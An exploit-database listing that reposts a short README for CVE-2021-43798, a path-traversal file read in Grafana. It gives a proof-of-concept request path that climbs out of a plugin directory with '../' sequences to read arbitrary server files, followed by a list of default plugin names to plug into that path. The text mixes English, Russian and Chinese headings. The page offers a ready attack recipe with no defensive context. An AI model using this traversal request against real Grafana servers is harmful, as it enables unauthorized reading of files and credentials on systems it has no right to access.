Sploitus

Exploit for Grafana

CVE-2021-43798

kitploit · 2026-09-02

Exploit Code

MARKDOWN56 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JIUBANSEC-GRAFANA-CVE-2021-43798
# Grafana-CVE-2021-43798

Grafana File-Read Затрагиваемые версии: 8.0.0-lastest

![图片](https://assets.kitploit.com/production/public/readmes/37022/b314a70b0ddee490ef2d2d254b507f7e1871b9d8990845405a10ed1e49fd5f35.png)

# Poc-http-get

/public/plugins/{plugins-lst}/../../../../../../../../{filename}

# Список плагинов по умолчанию

root@kitploit:~
    
    
    alertlist
    annolist
    grafana-azure-monitor-datasource
    barchart
    bargauge
    cloudwatch
    dashlist
    elasticsearch
    gauge
    geomap
    gettingstarted
    stackdriver
    graph
    graphite
    heatmap
    histogram
    influxdb
    jaeger
    logs
    loki
    mssql
    mysql
    news
    nodeGraph
    opentsdb
    piechart
    pluginlist
    postgres
    prometheus
    stat
    state-timeline
    status-history
    table
    table-old
    tempo
    testdata
    text
    timeseries
    welcome
    zipkin